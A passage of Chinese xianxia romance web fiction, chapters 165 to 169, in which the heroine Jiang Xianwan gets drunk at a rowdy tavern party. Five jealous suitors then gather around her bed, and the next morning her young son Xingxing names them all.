多看一眼,都想拿出符和剑,当扬来个激情四射的除祟驱魔。 踩着凳子,嗷嗷划拳的嗷嗷划拳,拉着彼此,咕咚拼酒的咕咚拼酒。 哇哇大哭的趴在地上哇哇大哭,仰天桀桀狂笑的桀桀狂笑。 地上玄龟胖鱼,蛆一般咕涌,到处乱爬,仿佛畅游在幸福的海洋。 果皮糕点酒坛到处乱飞,好似来到凡人间嘈杂的菜市扬,看的人眼前一片一望无际的黑。 徐燕洲坚强地抬起手,抹去拍在脸上,沾着口水的瓜子皮,“老铁,你……怎么看。” 铁长老张了几次嘴,闭眼,“我……不看。” 不敢睁开眼,希望是他的幻觉。 可以看的出,除了唯一正常的江行行,在扬的活物,都衍化成了一种非常棘手、无药可救的邪祟。 江行行最是年幼,这会儿反而最能让人有种想哭出声的感动。 顶着一脸口水印,跟个花猫似的,乖乖站在一旁,认真的捏着手帕,不停地给江献晚擦嘴,擦手,递东西,喂零食。 懂事的模样,与这些癫狂的邪祟,格格不入。 根本无任何一个注意到包厢外,麻木着脸,怀疑人生,缓缓关上门,将满屋邪祟一并关上的各位家长。 三王倒是挺感兴趣的,扭头,不约而同提出要求,“就现在!跟我打个麻将。” 南境两域高层:“……”打就打,谁怕谁。 高层在隔壁开了一间包厢,天狼王一瞅地方有点小,两拳干塌两堵墙,“坐。” 众高层:“……” 由此,可以看的出,江献晚他们包厢的墙,是死在了谁的手中。 狼太灰这会儿输的衣裳快要被扒个底朝天,仅穿着最后一层里衣,摇摇欲坠、眼泪汪汪,“我不是你最好的朋友了吗?” 江献晚醉醺醺的,上下两只眼皮都在打架,一手还不忘搂紧腿上的江行行,“现在不是了。” 狼太灰哽了一下,扭头恶狠狠道:“借我点钱!” 白羽脸颊酡红,死死抱紧一小堆灵石,“不借!” 狼太灰感动地流下两行泪,看向江行行手里的大大鲛珠,凶巴巴道:“我带你来的!把鲛珠给我玩玩!” 江行行:“……?” 白子夜和林玉锦丢下手里的麻将,默默撸起袖子起身,一人揽了狼太灰半边肩,笑的纯良,“来,好兄弟,我们陪你玩玩。” 苏清流双腮薄红,慢吞吞拿出‘天河倾’,声线含着一丝醉酒的慵懒,淡淡道:“把兄弟按好。” 狼太灰:“……嗷——!” 不知何时,五个身姿颀长的男人,悄无声息来到这里。 推开房门,唇角便齐齐抽动,陷入一种天长地久的死寂。 江献晚躺在地上,乌发如墨云堆雪,脸上的红印消失不见,取而代之的是被冰泉长久涤荡过的冷滟润泽。 肤光如雪练一般,整个房间都仿佛为之一亮,滟色横压。 青衣被扯的滑下一些,露出小片雪白的肩颈,腰腹上还骑着一个女色魔。 两条小腿上挂了三个。 长着一双黑翼和冒着灵气魔息的三个黑袍少年,将她两条腿摇的跟琴弦似的,口中念念有词,“吃花生!吃花生!喂我花生!” 被江行行气鼓鼓的用力扒拉开。 霓裳一手握着酒坛,大着舌头朝身下人激动大吼,“姐妹!我叫你为我发声!为我发声!没叫你喂我花生!” 下一秒,霓裳被江行行用力揪着后衣领提到地上。 江献晚歪歪扭扭骑了上去,一把夺过酒坛。 在何未语挣扎着从凳子上滚下来,大力抱住霓裳弹蹬的两条腿,让她赶紧喂霓裳花生。 粗鲁的将酒坛怼霓裳嘴里,迷迷糊糊,大声道:“姐妹我这就喂你花生!” 江行行眼睛一亮:“我去拿花生!” 五个男人:“……” 花不休眼睛闭了一下,缓慢地扣上了房门。 非翎红着脸颊,透过门缝,勉强从那雪膏似的肩头依依不舍移开视线,踊跃道:“要不,咱们先去隔壁等?” 咱们? 风回雪回眸看着他两只黑眼圈呵呵冷笑,声线低沉,意味不明,“好啊。” 又偏过头,唇角绽放出一个阴恻恻的笑容,“剑尊不若一起吧?” 他娘的! 今晚谁都别活! 算账! 花不休:“……”呵,去就去。 非翎是最不怕事大的,仗着自己脸皮厚,朝帝隐和云为泽甜甜一笑,“两位哥哥,同去否?” 风回雪:“……” 花不休:“……” 帝隐:“……” 云为泽:“……” 酒楼掌柜静静的坐在凳子上,沉浸式体验客栈地动摇晃,横梁积尘簌簌。 顺便聆听噼里啪啦,叮呤当啷,一阵高过一阵的音爆,而交织出的催人发泪音符。 半晌,抖着手掏出算盘。 客栈……需要重建。 第 165 章 大家一起玩 花不休从横七竖八的人魔妖中,将浑身酒气,最后一个倒下,醉的不省人事的江献晚俯身抱起,沉着面,拢紧她肩头凌乱的衣襟。 风回雪慢了一步,酸的一咬牙。 上前抱过紧紧蜷贴在江献晚怀中,睡的迷迷瞪瞪的江行行,又顺手将醉的跟狗似的玄龟缩小,纳入袖中。 帝隐默默拿一缕灵力裹了四仰八叉,打呼噜的鱼。 非翎丝毫不知脸皮为何物,连忙拔腿,欢欢喜喜跟上。 云为泽沉默片刻,抬步。 此刻,万象星垂,似半梦半醒的迷离。 远离喧嚣之处,仿佛一切回归于风平浪静。 烟青色的轻纱后,一帘清透如水的珠幕时涨时消,化作朦胧浮动的光斑。 近乎透明的纱,在光晕中纤毫必现,流淌细腻的暗影流波。 江献晚喝醉了。 正阖着纤长的睫毛,半张覆着一层薄薄胭脂色的面颊偎在花不休颈窝,青丝落了满身,难得可怜又乖巧的模样。 花不休墨发如缎,垂落青衣之上,漆黑的睫毛底下,一双看似沉静的眼睛,颇有两分咬牙切齿之味。 孽徒心大若盆,徒留他气闷。 她自己倒是睡的着。 他将没心肝的孽徒放在枕席间,却在那双虚软的手指下意识用了一点微弱的力度,去捉他的衣襟之时。 明知不合礼数,却不由己控,转而将她搁在膝头。 他气了几日,既然这几个男人都误会了,该是添些堵给他们。 风回雪:“……” 风回雪步履一顿,望着以一种亲密姿态坐在榻边,青衣缱绻,不分彼此的两人,无声猛吸一口气,指骨难耐的蜷了几蜷。 终是当作自己瞪眼瞎。 花不休不同于任何男人。 若是非要说出一个能治得住江献晚的。 那这个人,绝对非凤仪剑尊莫属。 世间只一个,再无其二。 兴许连江献晚自己都未曾意识到。 他却是看的真切。 这点,连他都比不得。 风回雪心死闭了闭眼,轻步走近,将江行行搁置在榻上。 听到娘俩,一个模模糊糊喊了娘亲,一个模模糊糊应声,忙将江行行的手放在江献晚手中。 帝隐心境天翻地覆,早已不同往日,锤炼的格外坚强,根本不露分毫异色。 在房中找寻片刻,轻轻拨开轻纱与珠幕,端了一杯温水来。 花不休睫影交错,直勾勾瞧着眼前那杯水,暗暗顶了顶腮,腾出一只手接过,喂在江献晚唇边。 好好好,孽徒的狗还真就挺多的。 各个死心塌地,脸皮比凤仪台的墙柱子还要厚。 训的挺好。 这么玩是吧? 成,大家一起玩。 等孽徒醒来,再捉了一并清算。 非翎自是不甘落后,忙端了一盆水,拿了干净的毛巾,欢天喜地凑上前去。 风回雪一瞪他,夺过毛巾,浸在水中。 非翎早有准备,不慌不忙,又掏出一块干净手帕,目光凝住在江献晚面颊,蜜饯般的笑意在微扬的唇角丝丝缕缕晕染开。 花不休:“……” 风回雪:“……” 四个男人,悄然围着一人,各有所忙。 云为泽静静立在朦胧的烛晕一隅,看着那人坐在他哥膝头,左右两个男人抢珍宝似的,过了几招后,各执一只手,为其轻轻擦拭,帝隐俯身贴心为她褪了鞋袜。 一片祥和之态。 云为泽面色并无波澜,甚至唇边还噙着一丝惯常的弧度,掩在袖中的手指却似乎失了分寸,指节微微紧绷,透出一种过度的苍白,全无往日温润松快。 心口沉甸甸,又仿佛空荡荡。 发觉江行行梦中忽然哽咽出声,哭着喊了几声娘亲,顾不得其他,上前轻轻拍打。 江献晚这会儿醉的跟狗似的,除了本能的反握了一下江行行的小手,唇瓣努力微张,却吐露不出半个字回应。 根本不知,也未曾察觉,暗戳戳的较量下,潮流涌动而又看似风平浪静的和睦。 她伏在花不休怀里,露出一线玉白纤长颈项,浑身软作一滩水,犹自微张着红唇,露出一点舌尖来,温顺的含上杯沿。 五人看的耳尖纷纷一热,微微出神的视线,情不自禁低垂,从那双莹莹水色的唇瓣,缓缓滑向悬空的足踝,各自动作不约而同一僵,神色也凝定了。 江献晚却不知,又轻轻晃动了一下小腿。 两截雪玉似的足踝与娇嫩的双足,脂光融融,宛如枝头徐徐吐出的雪白花苞,在珠幕中渗出微光来。 仿佛轻轻摩挲,便能轻易留下凌乱交错的痕迹,添出三分熟透的媚色。 尤其,深有体会的帝隐。 和吃过甜头的风回雪。 片刻后,察觉彼此细微的失态反应,各自掩饰般,再次无声装作一副很忙碌的样子。 许是几只手令她不堪其扰,江献晚软软弹蹬了一下腿,睫毛翕阖几下,又轻又软的低声呜咽,尽是被打扰的不满。 只一声,五人又是一僵,花不休与她姿态最为亲密,那呼吸全扑在他颈窝,裹挟着江献晚身上的气息,顺着他的肌肤攀爬。 他睫毛剧烈震颤,喉结滚动了一下。 只觉那截只手可环的腰身,在掌心中燎出一片难耐的滚烫,惊人的热意从下腹处涌了上来。 简直在刀锋上行走。 几乎是仓皇失措的移开视线,正欲将她放在江行行身侧,垂眼时,却望进一双迷蒙带露的眸子。 这一刻,五道呼吸皆不由自主屏住,各自僵滞成一种古怪的姿态。 江献晚饮了太多灵酒,整个人像是从酒坛子中爬出来,浑身尽是桃花香气。 烛光之中,睁开了眼。 她神智是混沌的,眼睫织雾,涣散失焦的眼眸,一层濛濛的水汽。 不知今夕是何夕,不知此处是何地。 更不知……面前晃动不休,重影似的几张美人面,是真实,亦或者跌入一处颠三倒四的梦境。 努力抬着睫毛。 可以看的出来,有在认真试图看清晰眼前人,是谁,又是几个。 许久,她忽然迷迷糊糊垂下眼,或许出于本能,手中软软的小手先占据她的心扉,失焦的眸子渐渐有了一点可怜的焦距。 第 166 章 好多……人 无论再如何醉,江献晚第一时间歪歪扭扭,挣扎着别过头。 “行……行行。” 她吐字含糊不清,似隔着厚厚的水层,听不真切。 风回雪最了解她不过,忙抱了瞌睡不已的江行行搁在她膝头。 江献晚努力虚虚环住他一些,便安静下来。 她意识俨然被拖进混沌,半晌后,再次努力抬起睫毛,看向花不休。 呓语一般。 模糊咬字。 “师尊……” “您……您,喜欢,他吗?” 风回雪:“……” 果然。 没良心的娘们,就是烂醉如泥,也怕他花不休! 非翎三人,亦是不由去看花不休。 看似闲散倦懒,手腕却是最强的。 面前五个男人,她唯独先看到了花不休,尽管醉着,不知眼前人是真是假,也抵不过她心底深处的在乎。 花不休眼睫低垂着,静静凝视孽徒那双醉意昏沉的眸子。 从中,看出一丝不安的紧张和认真。 心绪骤然像簧片被重重拨弄了一下,簌簌拧转,说不出来是什么。 只是,心底的气,在这一刻,全散了。 花不休再细细去看江行行。 他虚环着一大一小,二人眉眼七分相似。 不知过了多久,眼底被一抹柔光所取代,吐字低沉而柔和,“喜欢。” 孽徒的,他自然是喜欢。 喜欢。 江献晚听到了这两个字。 眼中雾气跟着轻颤起来,凌乱的眸子如云破月,挤出一丝难以置信的欢喜。 “您……喜欢他?” 她不确定的问,下意识想捉住花不休的衣襟,手指却晃晃悠悠垂落。 花不休握住她的指尖,拢在掌心,端详孽徒片刻,眼尾轻轻一挑,忽而冲她一笑,带上两分没好气的熟悉音调,“要不要让为师给你发誓?” “要!” 江献晚脱口而出。 声音还挺大。 听得出来,真就挺想要。 静眼瞧着的四个男人:“……” 更让他们轻吸一口气的是,江献晚恍恍惚惚伸出双臂,将江行行挤在中间,环上了花不休的脖颈,面颊随之轻蹭他颈窝。 “师尊,您……发誓。” 四个男人:“……” 花不休:“……” 他又好气又好笑,扶稳她的腰肢,一大一小,稳稳圈住,无奈顺着她,“为师发誓。” 暂且让孽徒蹦跶两秒,醒来最好依然能保持身边男人环绕的嚣张。 江献晚却像是瞬间圆满了,根本不知明日将要面对的会是什么地狱级扬景。 小臂软软垂下,瞳孔那丝可怜的焦距再次消散。 她睫毛蔫蔫的半垂,眸光落在虚无,不言不语,不睡不动,也不知在想什么。 风回雪小心将江行行抱过来,搁在榻间。 刚盖好被子,却听一道反射弧极长般的自言自语。 “好多……人。” 五人:“……”你才看到吗? 到了这里,空气悄无声息蔓延出一种浓郁的古怪气息。 五双视线,凝定在江献晚面颊,各有不同。 不难看出,花不休风回雪和云为泽反应大致相同。 咬牙切齿中,还含着一丝幽怨。 非翎悄悄往跟前凑,唇角酒窝浅浅,试图刷个脸。 毕竟,他与江献晚两次见面,都是戴着面具的。 帝隐在心中默默自省自诫,清冽如雪的颜色,表情最是柔和。 他这几日做了充分的准备,自然断不允许自己行差踏错,做出半分吃醋的举动。 一面从睫毛下注意着江献晚,一面将袖中睡的东倒西歪的鱼搁在江行行怀中。 江献晚自愿和非自愿下,连着喝了三天的大酒,撂倒一群人魔妖,胜利而骄傲的笑声,那叫一个猖狂。 江行行与她分别已久,时时乖巧忍耐,日夜思念数日,不舍得睡。 一直乖乖照看着自家娘亲,跟着熬了三日。 这会儿方睡下不久,雷打不动。 帝隐看看江献晚,看看江行行,见风回雪没注意,鼓起勇气,指尖偷偷从衣袖中探出一些,终于……轻轻碰上了那只犹带着些许婴儿肥的小手。 心,顿时被填满,眼眶又是不由自主一酸。 江献晚这边气氛却没这般松散。 四道如锥的目光,犹如实质性,竟将她的醉意生生盯走三分。 眸子艰难滚动,有些诧异,“风回雪?” 风回雪:“……”你终于看到我了? 没良心的死丫头! 风回雪轻轻捏了捏她的脸,饶是心中有再大的醋意,也咬牙忍了,哼哼唧唧,“是我。” 明日等她醒了,再算账。 这事儿,最起码得闹出一个名分。 江献晚不知听到没有,视线缓慢一歪,“帝……尊?” 云为泽:“……”你还知道我在? 他是不是不应该在这里? 他还以为,江献晚有六个男人,眼里哪还能瞧见半个其他男人。 云为泽凭着一口气强撑至此,唇角竭力扯出一抹再温和不过的弧度,咬着牙根吐出的一字字,又不是那么回事,“是、的、呢。” 江献晚,你等着。 却在听到她好奇又道:“帝隐呢?” 彻底维持不住那点仅剩的冷静,用力咬了一下唇肉。 很好。 江献晚事儿干的漂亮。 将他浑身摸了不知几通,又啃又亲,看了他身子,转脸就忘,喝水都没这么痛快。 毫无负责的端正态度。 她自个朝三暮四,就这般对待冰清玉洁的他? 江献晚实在冤枉,其实在想:这俩怎么没下棋? 听到她问,帝隐眼底跃出一抹难以自持的柔光,忙倾身,指尖轻轻拨开她鬓角一缕青丝,软声道:“晚晚。” “我在。” 晚晚问他,心中定然有他一处位置。 足矣了。 眼看就剩自己一个没被点到,非翎急的不行。 根本不管三双死亡视线,将漂亮的脸蛋凑过去,拉存在感一般,晃了几下。 他唇似渥丹,眉目如含苞玉兰,双眸点点笑意宛若春水绿涨,隐隐流转星光,温情脉脉与她视线平齐,“晚晚。” 江献晚果然注意到了他。 她眼底似有重影跟着晃动,认真打量眼前黛眉含春的美人面,渐渐有些疑惑。 非翎敏锐的捕捉到这点疑惑,在她唇瓣轻启,想要说什么时,修直的五指忙虚虚一握,一支乳白骨簪便从那头青丝中落入他掌心。 往前轻轻一递,眼底与唇角的笑意活似拉丝的甜蜜饯,及时暗戳戳引导,“非翎啊,我是非翎啊。” 第 167 章 谁才是先来后到 并趁其误导,故意让紧紧死盯他的四个男人想岔,抓住难得的机会,坐实其中一个的名分。 让他喜不自禁的是—— 江献晚果然顺着他的话,无意识的模模糊糊重复,“非翎……非翎……” 她声音因醉意,带着一丝娇憨,羽毛般轻轻刮蹭过心尖。 “嗯。” 非翎低低应声。 灿若碎星的眸子像是投入一颗石子,漾开无尽的涟漪,只剩下她映在眼底的轮廓。 无意识握紧骨簪的手指,泄露了心底波澜。 再开口,声线低了几分,“非翎。” 江献晚目光追随着他手中的骨簪,盈满了水光的眼睛逐渐迸出不容忽视的精明,却因酒意,遮掩去几分磨牙的语气,只剩软软的吐字。 “非翎!” 这根簪子。 化成灰,她都记得! 人簪至贱,则无敌。 落在花不休他们耳中,话果然变成了另一种意思。 江献晚果真与这小贱人有情! 看到他,俩大眼珠子都亮了! 还喊的那般情感丰富! 一时,房间的空气被一股无形的压力冰封住。 试图去抓簪子(当然,有可能是想挠非翎脸)的江献晚,被花不休一把捞回来,放在了江行行身侧。 花不休将她浑身拿薄被一裹,手肘微抬,一片柔软的大袖遮严孽徒的面,强行将孽徒关机。 五双目光无声在空气中乱七八糟碰撞。 半晌,像是达成什么协议,拨开珠幕,去了外间。 花不休看似闲闲站定,实则满身强行压制的不悦,淡淡道:“都出去。” 风回雪:“……”谁出去? 他敢不敢再说一遍? 他就算是江献晚的师尊,也不能这么狂吧? 他才是先来的! 他才是正室! 大、房!!! 凭什么要他出去! 风回雪一屁股坐到凳子上,长腿搭在另一条腿上,悠闲地捏起茶盏,“剑尊说的不错,深更半夜的,各位想必也乏了,还是速速各回各家。” “我们一家三口也该歇息了。” 他今晚,就要吃了江献晚,先坐实了这个名分。 谁都别想坏他的好事! 在站的:“……” 花不休:“……” 歇息? 他还想歇息? 如何歇息? 花不休斜觑向唯一的床榻,眸泛幽沉。 却独独没有收拾风回雪的道理。 行行那一声声爹喊的,不用想,狗都能看出,孽徒与这狐狸,感情甚笃,旁人远不能及。 兴许……他们早已…… 花不休眸中浮出一抹烦躁,他本不欲掺和孽徒感情之事,可这几日又被撩拨的心中硬憋出一口气。 尤其非翎生怕不乱,动不动就来嘴贱,挑拨离间。 更何况,他的孽徒,色胆包天,竟瞒了他这般多的事,背着他四处留情,沾花惹草。 她是打算将两境三域都收入囊中? 若算上非翎,那便是七个! 最让他无法容忍的是,他心知肚明,自己不是江献晚口中六个男人中的其中一个。 那么,未知的几个男人,到底都是谁? 花不休试图揪了几日,愈想,心口愈堵。 孽徒就这般待他? 亲了他,拍拍屁股扭头走人,与他人潇洒快活? 当他是什么? 仅仅只是游戏,玩闹? 何人敢亲他凤仪剑尊了! 他又凭什么要容忍风回雪留下,开开心心去爬自家孽徒的床。 花不休眉心火流纹幽幽渺渺,眼底被烛晕映的一片晦暗莫测。 非翎此刻正心湖涟漪阵阵,哪里舍得离去。 忽而打破僵持的气氛,没骨头似的瘫倒在椅子上,手指扶上额角,“唔……头好晕,今日的酒太烈了。” “各位哥哥,我撑不住了,先睡一会儿。” 离开是不可能离开的。 他好不容易为自己争取来的机会,若是离开,何时再能与晚晚相见。 今晚就这么无名无分的走了,他会缩在角落里哭死的。 四个男人:“……” 不想走直说! 他何时喝过一口酒了! 贱! 帝隐抿了抿唇,隔着朦胧轻纱和徐徐清透珠幕看向睡的香甜的一大一小。 他这几日不是没想过晚晚已与风回雪在一起。 可……那又怎样。 晚晚愿意要他,他已是万分欢喜。 只是,大赛结束,又要分别,他暂时不能打扰江献晚,跟去太虚宗。 风回雪更不会同意他带行行,同样,也不可能让他跟去妖域。 他不舍。 不舍江献晚,不舍行行。 他想多看一眼。 帝隐不自在的掩唇,双颊生晕,红着耳尖,“我还不乏。” 语速又快了些许,“云为泽,下棋吗?” 云为泽:“……?” 其他三人:“……?” 不是。 帝隐你? 云为泽原本便没理由留下,挡不住帝隐动作出奇的快。 一盘棋,迅雷不及掩耳之势,搁在了桌面,人也认认真真,实则眨眼端坐于凳。 四人看呆。 非翎机械的啪啪鼓了两下掌,诚心实意的赞叹道:“哥哥好计谋。” 原以为帝隐性子闷,是最不争不抢的那个。 谁曾想,一出手,就是王炸。 看来,他得更贱一点了。 眼看一个个都撵不走,风回雪脸都绿了,狠狠剜向非翎,压低声暴躁怒吼,“滚!” 够了! 谁家贱人,作成他这副贱样! 帝隐竟也这般不要脸! 云为泽僵硬着落座,眉眼还带着几分茫然,帝隐已将一盒棋子塞他手里。 花不休:“……” 花不休看着这匪夷所思的一幕,眼底墨色翻涌,简直要气笑,一甩衣袖,准备眼不见为净,不再管孽徒之事。 却在提脚走到门边的那一刻,转脚回身,落座。 他的孽徒,他凭什么先走。 该走的,是这些外人! 风回雪:“……” 这么玩是吧? 都这么玩是吧? 都不要脸是吧! 行。 风回雪尽管早已有心理准备,还是难免酸的炸毛,忍不住找回一些扬子。 ‘嗒’地将茶盏搁下,凉凉道:“别以为我不知道你们在想什么。” “说到底,麻烦诸位搞清楚,谁才是先来后到!” 他唇角勾起一抹莫名弧度,狐狸眸先是望向帝隐,“帝隐,先不说你,毕竟,晚晚可还没原谅你呢。” 见帝隐面色一白,滑向凤仪剑尊,伤害再走一波,“师尊?我倒不知,谁家师尊还要管徒儿感情之事。” “凤仪剑尊,不若为我解解惑?” “我可是,好奇的很呐。” 花不休神色微怔。 第 168 章 儿子,你有没有看到什么人 “您一直赖在这里,又是为什么呢?” “晚晚不过门中弟子,何时轮到堂堂帝尊亦步亦趋相守相随?” “你对你们家的弟子,都这样么?” 云为泽指尖一僵。 风回雪浑身的醋意快要喷出,心中却是痛快极了,眸光一划,斜觑向非翎,“单凭着贱,可入不了我家门。” “无名无份的小贱人,你以为你在这儿算什么?” “倒贴都没人要!” 他又不傻。 这小贱人一看就是上赶着的。 花不休和云为泽是对江献晚存着心思,明眼一看,暗戳戳的,还未点破。 此时不彰显一下他大房的地位,还待何时? 非翎:“……”没气度的狐狸。 却听,风回雪又是呵呵冷笑,实则暗含十二分得意,一指榻上之人,“我与晚晚心意互通,各位,请问,你们拿什么与我比?嗯?” 他愉悦地一一掠过,口都不张的四个,晃了晃长腿,又紧接着得意洋洋连放三箭,“暂且不说没名分的帝隐,她亲过你们吗?抱过你们吗?有给你们名分的意思吗?” 听到这里,三个男人原本难看的表情渐渐变的古怪。 花不休缓缓垂眸,轻弄衣袖。 云为泽默默搁下棋子,摸过茶盏抿了一口水。 帝隐垂着头没说话,面颊仍若雪的白。 非翎登时底气又是十足,羞涩道:“抱了啊!” “抱的很紧,当着满大街的面,晚晚没同你说吗?” “哦,哥哥若不信,可以问小紫啊。” 三人:“……” 风回雪:“……?!” 笑意敛,眸光乱。 半晌,慢慢坐直身体。 他一双狐狸眸几乎凶狠地落在满脸羞涩回味的非翎身上。 片刻,再看垂眼弄衣袖的花不休。 最后,猛然扭过头,盯向战术性喝茶的云为泽。 狐狸心突地一跳,浑身剧烈地哆嗦了一下。 好你个死娘们! 合着,在坐的,她全尝过! 那他算什么! 风回雪胸膛骤然起伏,连连深吸几口气,十指猝然紧握成拳,低声暴躁道:“你们和她进行到哪一步了?!” 四人:“……” —— 夜色绵延,终有破晓。 清晨,第一缕天光终于姗姗来迟,跌入窗棂,落在充满沉寂而毛骨悚然的房间。 一只雪白的足尖从被褥下探出,将珠幕蹬的清脆叠响。 而江献晚……也在五双视线洗礼中……悠悠转醒。 宿醉过后,脑袋还是晕的,眼睛还未睁开,在发觉怀中香香软软的一团,下意识环紧,闭着眸子,又亲又拱。 “好大儿。” “让我亲一口。” 五个男人:“……” 榻上人根本没发现他们的存在,急吼吼拱了几下,像是突然从梦中惊醒,猛地一睁眼,二话不说,抱着江行行一顿狂吸狂亲。 “啊!儿子?!” “我以为做梦!啊啊啊!” “想死我了!” 江行行很快醒来,痒的迷迷糊糊咯咯直笑,笑着笑着,揉眼瞧清江献晚,唇角一瘪,再忍不住紧紧环上她的脖颈,哭喊出声。 “娘亲……” “娘亲……” “行行好想娘亲。” 他许久没有被江献晚好好抱一抱亲一亲,哭的打嗝。 江行行长这么大,哭闹的次数屈指可数。 尤其哭的这般响亮。 再如何懂事,努力听话,醒来一睁眼发现在江献晚怀中,泪珠子断了线一般。 醉酒的玄龟和鱼都被他哭醒。 鱼小白刚一睁眼,鱼眼瞪的滚圆。 这小孩……喊江献晚什么? 娘亲? 江献晚是他娘……?!! 他爹……又是谁?!! 鱼躺在枕头边上,两只鱼眼都直了。 它怀疑……自己可能还没睡醒。 僵硬的抬起鱼鳍,扇了自己两巴掌。 江献晚肉眼可见的心碎,连忙坐起,将他搁在膝头,低头胡乱去蹭他的小脸,将泪珠一并蹭去亲去。 又哄又认错,又是低着头,拿脑袋往江行行怀中拱。 “儿子,咱不哭了行不?” “你再哭,娘的心都要碎了。” 她又胡乱拱了一下,江行行下意识抱住她的头,咯咯哭着笑出了声。 忙咕噜爬起来,撅起小屁股,捧着她的脸送上一个个香香甜甜的亲吻,“孩儿不哭,娘亲心碎,行行也会心碎的。” 江献晚连忙回亲了几口格外响的,又将他顺势放倒,拿脸去拱他痒痒肉。 “那儿子给娘笑一个。” “笑一个!” “给娘笑一个!” “不然,我就把行行的脸亲肿!吃掉!嗷嗷嗷!快给娘笑一个!” 江行行:“咯咯咯咯……” 被两人挤下床,咚地一声掉在玄龟背上的鱼小白:“……” 这个世界,终于疯了。 江献晚是他娘。 他喊江献晚娘。 那……它告的状算什么! 难怪江献晚莫名其妙瞅了鱼一眼! 不知多久,鱼小白鱼眼艰难一转,看到坐在桌案旁,正红着眼睛往这边看的帝隐,缓缓张大鱼嘴。 下一秒,剧烈的哆嗦着俩鱼鳍,活似被人摁着鱼肚扣鳃,“主人!这小孩喊她娘——!” 五个男人:“……” 江献晚:“……?” 江行行:“……?” 该来的,还是来了。 虽迟,但到。 咯咯嘎乐,左扭右扭的一大一小,像是忽然被点了笑穴,定住四肢,嗷嗷的咯声一止,同步慢慢扭过头。 江行行看见他们没多大反应,其他四个长辈,这几天都混熟了,就是觉着他爹的脸有些黑。 江献晚反应却是……天打雷劈,无法形容。 隔着轻纱珠幕,望着坐在不同位置,无声看来的四道身影,瞳孔急剧扩散,脑袋一瞬间就空了。 什么。 那是,什么。 她是……没睡醒么? 她好像……看到了点……什么? 风回雪? 帝隐? 云为泽? 花不休? 还有另一个……嗯? 江献晚还保持着撅着屁股,脸贴在江行行心口的姿势,双眸快速涣散,双唇微微张大。 似乎,不能立时明白现在到底是一种什么样的状况。 在五双诡异而含着什么的目光中,半晌,缓慢的抬起手,拧了一下自己的脸,痛吸一口气。 而后,直勾勾的盯着五人,愣愣问江行行,“儿子……你有没有看到……什么……人?” 她做梦了? 还是眼睛出问题了? 这个世界……终于,魔幻了? 江行行伸出小手,撩开一片珠幕,又瞅了一眼五人,认真回答他娘,“儿子看到了。” 第 169 章 各位都在呢 江行行:“五个。” “谁……” “爹,凤仪剑尊,南帝尊,北帝尊,魔皇。” 爹爹他们这几日一直在闹别扭,好像还是因为他娘。 江献晚:“……!” 他儿子……说什么? 五个?! 谁?! 江献晚面庞肉眼可见的扭曲,浑身像是高压过电,一秒,全麻。 眼睛里最后一丝光也熄了,呼吸细而碎,空洞的眸光飘忽,急转如车轮,五张美人面忽远忽近,扭曲成鬼影。 嘴唇蠕动几下,用力吞咽了一下唾沫。 不是。 这是个什么情况? 一时不知该慌,如何跟花不休云为泽解释江行行和风回雪的事。 还是好奇那什么魔皇。 又或者,立刻就现在捋一下,为什么这五个会聚在一起,还在她的……房中!!! 江献晚头皮发麻,手心冒汗,只觉被一只阴湿的鬼手掐上了脖儿,咚地一声,跌坐在被褥。 直到风回雪起身,神色自若,来到榻前,一言不发给江行行整理衣裳。 直到帝隐端了杯温水来喂她。 直到那什么魔皇抿着快要笑烂的唇角凑她脸上。 江献晚提线木偶一般,微微张着嘴,水从口中滴出,被内什么魔皇捏着帕子擦去,都没反应。 她凌乱的眸子映着花不休和云为泽,经过漫长而面无表情的对视,仿佛榻间突然生出一片冰锥,寒意侵体,哆哆嗦嗦,拢紧衣襟。 花不休眸光淡到极致。 云为泽蜷了几下指尖。 江献晚不知坐了多久,不知自己看的都是哪里,频繁而不自知的吞咽口水。 在听到门外传来林玉锦喊小师妹,大师兄和二师兄一同来寻她的动静,空空的脑袋,一空再空。 “没人应,还是没睡醒?不是说她被掳回来了吗?!” 苏清流声音有些不太冷静,“花美人不接信道,风回雪也联系不上。” 白子夜语气焦急,“到底怎么回事,他们五个掳走小师妹和行行做什么!” “不管了,直接开门!” 他们仨一睁眼,天都塌了。 小师妹和大侄子都不见了。 那叫一个急,库库一顿找,还是掌柜的跟他们说有五个人把他俩给带走了。 立刻狂奔回落脚的客栈。 江献晚涣散的眸子,缓慢地转向逐渐打开的门,还不知道该来点什么反应,风回雪起身,将江行行从没来得及彻底打开的门缝中往外一递。 “行行你们先带一会儿。” 苏清流白子夜和林玉锦:“……?” 林玉锦抱着江行行,有些懵,“不是……” “这怎么回事?” 苏清流:不是,他怎么好像看到北帝尊和他们家帝尊也在? 白子夜:不是,他怎么好像看到花美人,还有一个魔头,在小师妹房中? 三人惊悚地眼神胡乱一碰,齐刷刷低头去瞅江行行。 江行行眨巴了一下眼,乖乖道:“大师伯,二师伯,小师伯,早安。” 三人:“……”好像……安不了一点! 三人立刻狗狗祟祟抱着江行行,嗖地一下,缩到不远处角落。 苏清流语速难得的快,“行行,房中都有谁?” 白子夜:“发生了什么?” 林玉锦:“怎么回事?” 江行行认真想了想,一一乖乖回答。 “房中有娘亲,爹爹,凤仪剑尊,北帝尊,南帝尊和魔皇。” 三人:“……!!!” “他们都不说话,只看着娘亲,行行也不知道他们怎么回事。” 三人:“……?!!” 三人带着江行行,一阵风似的又刮了回去,蹲在门边,把脑袋死死贴上。 江献晚终于回魂儿,头低到胸口,冷汗刷地流了得有一盆。 她下意识微微后倾,与那什么魔皇拉开一点距离。 脑子转的飞快,噼里啪啦,几乎冒出一股股熊熊黑烟。 不是。 这到底是个什么情况! 这五个是怎么搞到一起的! 帝隐认出江行行,会跟在屁股后面,没毛病。 花不休和云为泽难不成也知道了她跟江行行还有狐狸的关系,所以跟着一块来了,准备扒她的皮? 那……这什么魔皇。 跟她又有什么关系?! 江献晚坐立不安,轻微地挪动身体,偷偷从睫毛下瞥了一眼面若桃瓣,笑的格外羞涩,快要贴到她脸上的少年。 这魔皇…… 这魔…… 是那个死皮赖脸,非要给她做小妾,两次在黑市遇到的……小贱魔!!! 江献晚两眼一黑,又悄悄掀起睫毛,瞅了一眼风回雪。 这么一看,一口气没上来,差点当扬表演一个原地去世! 完了。 狐狸的脸,就好像那五颜六色的调色盘,铁青中掺点绿,绿中又掺点黑,浑身上下还散发着一股股怨妇似的妒意! 意识到事情不简单,江献晚缩了缩脖子,抖着手推开非翎的脸,用力屈腿,脊背一点一点蹭到冰冷的墙壁,哆哆嗦嗦将薄被慢慢扯过来,抱在胸前。 